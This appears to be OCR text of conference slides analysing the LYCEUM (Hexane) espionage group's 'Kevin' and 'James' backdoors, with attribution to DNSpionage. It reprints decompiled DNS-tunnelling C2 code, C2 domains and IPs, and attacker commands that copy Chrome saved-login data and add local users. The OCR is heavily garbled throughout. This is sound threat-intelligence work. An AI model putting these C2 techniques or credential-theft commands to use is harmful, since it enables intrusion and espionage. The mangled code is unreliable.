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[ ] ACtiVitg dates baCk to 2018 Secureworks Products Services Partners Resources

LYCEUM Takes Center Stage

. \ in Middle East Campaign
* Targets in the Middle East

The previously unobserved LYCEUM threat group targeted critical

infrastructure organizations without being detected for more than
12 months.

TUESDAY, AUGUST 27, 2019

o Also referred to as Hexane BY: COUNTER THREAT UNIT RESEARCH TEAM
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DSProto.CollectFiles();
bool flag2? = DSProto.id == "@880";
if (flag2)
{
string data = DSProto.String2Hex(Settings.IdBot);
string link = DSProto.Getlink(data, "1", DSProto.id, "-1");
IPHostEntry iphostEntry = Dns.Resolve(link};
string text = DSProto.IP2DataV4(iphostEntry.Addresslist);
bool flag3 = text != "0080" 8& text.Trim() != "er";
if (flag3)
i
Settings.SetConfig(2, text);
DSProto.id = text;
data = DSProto.String2Hex(DSProto.GetlocalIP());
link = DSProto.Getlink(data, "2", DSProto.id, "-1");
DSProto.ClearCach();
iphostEntry = Dns.Resolve(link);



185.243.115.0/24

cybersecnet.co.za

cybersecnet.or

excsrvcdn.com

online-analyt 185.243.115.16 185.243.115.157
web-traffic.info
veb-statistics

dnsca

opendnscloud.com

web-traffic.info mastertape.org
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8}{302}{42¢
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public static void DnsMatter()

{

using System.Text;
sV ("{1}{e]using System.Timers;

[Obsolete]
public class Mc_Main

public
public
public
public
public

if (Check_BId())

{

check for command
string res = SendDnsRequest(ToHex("*a"), ToHex(RandomStr(2)), ToHex("02202")) ]

string Bid = "";

string HttpID = string.Empty;
string Bid File Name = "clr@@98.tm
" .mastertape.org”;
"/login.aspx";

string Domain =
string Extention

L=

46}{174}{4
46}{15}{47
12}{133}{42
-{300}{330}
'224}{409}{

16}{18}{31}

. '48}{80}{12
7 }{240}{359

1}{97}{272}

it (Isvalid(res) && !string.lsNullOrEmpty(res))

{

tm.Stop();
tm.Interval = Mintime;
//set commandid



Download a file

Upload a file

Run a command



[RandomStr][HexRandomStr][VictimID]000002A61.mastertape[. Jorg

48.49.52.32
“01”



[RandomStr][HexRandomStr][VictimID]000002A61.mastertape[. Jorg

[RandomStr][HexCmdID][VictimID]@00012A6E .mastertape[. Jorg

48.48.55.122
[Requests] ‘Z’



[RandomStr][HexRandomStr][VictimID]000002A61.mastertape[. Jorg

[RandomStr][HexCmdID][VictimID]@00012A6E .mastertape[. Jorg

[RandomStr][HexCmdID][VictimID]©00002A6E .mastertape[. Jorg
[RandomStr][HexCmdID][VictimID]000012A6E .mastertape[. Jorg
[RandomStr][HexCmdID][VictimID]©000022A6E .mastertape[. Jorg
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* New payloads emerged in late 2019

* Two variants: Kevin and James

DETECTION DETAILS BEHAVIOR COMMUNITY o

e Written in C++




James Kevin
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LYCEUM Takes Center Stage
in Middle East Campaign

The previously unobserved LYCEUM threat group targeted critical
infrastructure organizations without being detected for more than
12 months.

TUESDAY, AUGUST 27, 2019
BY: COUNTER THREAT UNIT RESEARCH TEAM
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Uasiants

* Two variants based on the project names in the PDBs: Kevin and James

3 Debug information (IMAGE DEBUG_TYPE CODEVIEW)

asc_4D5828 db "RSD5" ; DATA XREF: .rdata:@e4DecAdto
3 OV signature
dd &6796E75Fh ; Datal ; GUID
dw BE33Bh ; Dataz
dw 42C7h ; Data3
db 96h, @B8h, 15h, 47h, 78h, ®Clh, &66h, 9Ch; Datad
dd 1 ; Age
db ‘C:\UsersiJames\resktop\source\Release\fontdvrhost.pdb®,® ; PdbFileName
align 4
; Debug information (IMAGE_DEBUG_TYPE_CODEVIEW)
asc_148873C2C db "RSD5" ; DATA XREF: .rdata:eeses8014887665410
; OV signature
dd BCE3ASA4Ch ; Datal ; GUID
dw BCEBEh ; Data2
dw 48D&h ; Data3
db 8ACh, 29h, 68h, 4Dh, @C8h, 2Eh, 8ABh, BC7h; Datad
dd 1 3 Age
db "Ci\Kewin\~rojects\Mat NewSource\bt\Build\xe4\Release\WMwareClient' ; PdbFileName
db '.pdb",@

align 4



* Emerged in November 2019

e Communicates with C&C over DNS and HTTP

* Appears to be no longer in use



* DNS Protocol:

CustomBase32(<random>*<time><action><botid>).<c2 domain>

 HTTP Protocol:

<h7>baseb4(filename.d);base64(command to be executed)<h6>



p 1 h_console window = GetConsoleWindow();
Y E d A l ShowWindow(h console window, 6);
merge ln prl 2020 Showlindow(h_console window, @);
if ( argc !'= 3 || stricmp(argv[2], "w1.8.2") )
return &;
h_mutex = CreateMutexW({@ic4, @, L"%9e%abs754-3c5T-6786-bbTe-dal4cVece7ba™);
if [ GetlastError() == 183 )

 Has two versions: 1.0.2 and 2.1.0.2 exit(0);

* One protocol per sample: DNS or HTTP

e Has offline variants



e Creates custom subdomains

* Receives custom IP addresses from the DNS queries

hochhnkt.hgcw_gynx9zt8.onlineoutlook[.]net

encoded encoded data
command



command: listening for commands

EXE
&

hq7ehnkt

121.32.32.32

.onlineoutlook|[.]net

15 33.Dd9BLpulselB.onlineoutlook[.]lnet

ha7hhnkt

.onlineoutlook|[.]net

54 33.IPhhZRpulse6.onlineoutlook[.]net

jhhnkt

.onlineoutlook|[.]net

00 33.cClrvgTCpulse8.onlineoutlook[.]net



EXE

filename.txt

&

35.101.120.32

#Hex

command: command file receipt & execution

102 .105.108.101 file

110 .97 . 109. 101 nhame
46 .116 .120 . 116 .txt

35.101.120. 32 #ex



 Same functionality as the DNS variant, only over HTTP

hxxp://[C&C_Domain]/?kind=action_codeé&serv=Base64(victim_id)&name=Base64(data_param)

Code Action

Register, request further commands

Command execution output

File creation acknowledgement

Domain update request #1

Domain update request #2

N O o ~M| N DN

Command execution response
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* No C2 communication

* Possibly used as a proxy in the internal compromised network

* We assess that it was intended to be dropped on systems without internet
connectivity



I nf ection Uector

* How were the targeted network’s initially infected?
* Indications of initial access via RDP from a compromised third party

* The attackers used various commands to spread onwards

cmd /c hostname

cmd /c ipconfig /all

cmd /c tracert 4.2.2.4

cmd.exe /c copy "Sappdatal\Google\Chrome\User Datal\Default\Login Data" S$temp\syslogs\F1lAHo6r
cmd /c net user <redacted> <redacted> /add & net localgroup <redacted> <redacted> /add

cmd /c net localgroup "Utilisateurs du Bureau a distance" <redacted> /add
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Similarities to Prediows qletiify

e Similar underlying communication protocol tunneled over DNS
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Similarities to Prediows qletiity

* Same spelling mistakes

‘Variants

db 're’,8

align 1@h
alk_@ db "ok’,8

align 4
db 7,8

align 4
aRermovefile db 'RermoveFile’,8 |

A

Variant

{

i File.Delete(text3};
}

catch

i

}

data = DSProtol String2Hex("RermoveFile™);

link = "v." + DSProto-eetrink(data;—8"3—USProto.id, "-1");




Similarities to Predious qletidity

* Same spelling mistakes

.rdata:@@4CBDEC db 're’,@ 5 Debug information (IMAGE_DEBUG_TYPE_CODEVIEW)
.rdata:@@4CBDEC ‘ asc_4D3F64 db "RSDS’ DATA XREF: .rdata:@@4CF5F4to

Xl

.rdata:884CBDEF align 1eh ’.. ; OV signature

.rdata:8e4CEDFE a0k @ db "ok’,@ N\ dd BE2366DEFh ; Datal ; GQUID

.rdata:884CEDFE > qo dw ACF2h ; Data2

.rdata:8e4CBDF3 align 4 z dw 4CDo9h ; Data3

.rdata:@e4CBDF4 a7y db 7,8 ‘,-‘FP db 8B4h, 36h, ©BDh, 4%h, BCCh, 8C7h, 8Bh, 2Dh; Datad

.rdata:ee4CBDF4 dd 1 3 Age

.rdata:@84CBDF6 align 4 “:; 4 db "C:\Usersikernel\Desktop\BackDorLast' Release\ManageHP.pdb",® ; PdbFileName
.rdata:Be4CEDFE aRermovefile db 'RermoveFile’,8 | Y | align 4

try B85 9% BF B4 |01 00 OO0 OO

File.Delete(text3};

catch

{
¥
data

link

DSProtol String2Hex("RermoveFile™};
== g s = T=USProto.id, "-1");




ities to Predious qlctivity

 We found artefacts connecting Lyceum to the DNSpionage group
* DNSpionage was in turn tied to the activity of Oilrig,

We identified the C2 panel as "Scarecrow,” but we did not identify references to this panel in the leak. The
victims in this screenshot are mainly from Lebanon, which is one of the areas targeted by DNSpionage and
Karkoff. The URL provides some other relevant information:

TUESDAY, NOVEMBER 27, 2018

‘ E’ Lab Dookhtegan | Read My Lips

This blog post was authored by Warren Mercer

Update 2018-11-27 15:30:00 EDT: A Russian-la
leads us to believe it is unrelated to this investig

W Agents

@Dashboard All agents connected ta Scarecrow!

Cisco Talos recently discovered a new campaig
affecting .gov domains, as well as a private Leb
this adversary spent time understanding the vi
radar and act as inconspicuous as possible dur

—

C&C Server



Similarities to Predious

_—

* Connections to DNSpionage

Lyceum Document Macro DNSpionage Document Macro

Set svr = CreateObject (
Call svr.Connect

Const e0 =
Const el
Const e2 =
~ate the TaskService object.
Set service = CreateObject(el0 & el &
Call service.Connect

Dim rootFolder
Set rootFolder = svr.GetFolder (

Dim rootFolder

Set rootFolder = service.GetFolder (
Dim regInfo

Set regInfo = taskDefinition.RegistrationInfo
regInfo.Description =

regInfo.Author = getCurrentUserName

taskDefinition

kDefinition

Dim settings
Set settings = taskDefinition.settings
settings.StartWhenAvailable = True

Dim regInfo

Set regInfo = taskDefinition.RegistrationInfo
regInfo.Description =
regInfo.Author =

' Set the prinicpal for the ta
Dim prinicpal

Set prinicpal = taskDefinition.principal




Similarities to Previ

* Connections to DNSpionage
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¢span style="vwisibility:hidden;opacity:0">

Deutsch

Frangais

ltaliano thy Page source embeds hidden information,
e e like the‘Kevin’ HTTP protocol
<!DOCTYPE html>

<html lang="mul" class="no-js">
<head>

{"c": "echo %username%", "i": "-4000", "t": , "k": }
<!--eyJjIjogImViaG8gJXVzZXJuYW11JSIsICIpIjogIi00MDAWIiwgInQiOiAtMSwgImsiOiAWEQ==—->
{"C": "hostname", "i": "_SOOO", "t": , "k": }
<!--eyJjIjogImhvc3RuYW11lIiwgImkiOiAiLTUwWMDALLCALACI6ICOXLCAIayI6IDBI——>

{"c": "systeminfo | findstr /B /C:\"Domain\"", "i": "-6000", "t": , "k": 0}
<!--eyJjIjogInN5c3R1bWluZm8gfCBmaW5kc3RyICIOCICODOIwiRGOLYWIuXCIiLCAIiaSIO6ICIENJAWMCISICIOI jogLTESICJrIjogMHO=——>

<meta charset="utf-8">



* All targets are from one country: Tunisia

* Narrow and sector focused targeting: Aviation and
telecommunication companies

C

* One ogtion: the operators were trying to track
individuals in motion

* Other options: targeting sensitive assets or individuals
in the country



Conclusion

* Lyceum is a threat group that has been active since at least 2018,
engaged in espionage activity

» Possible successor of DNSpionage after the OilRig leaks

* Highly active, but targets only a handful of high profile victims in
the Middle East

* Operation has been interrupted by our efforts



Aseel Kayal Paul Rascagneres Mark Lechtik
@CurlyCyber (@r00tbsd (@_marklech_



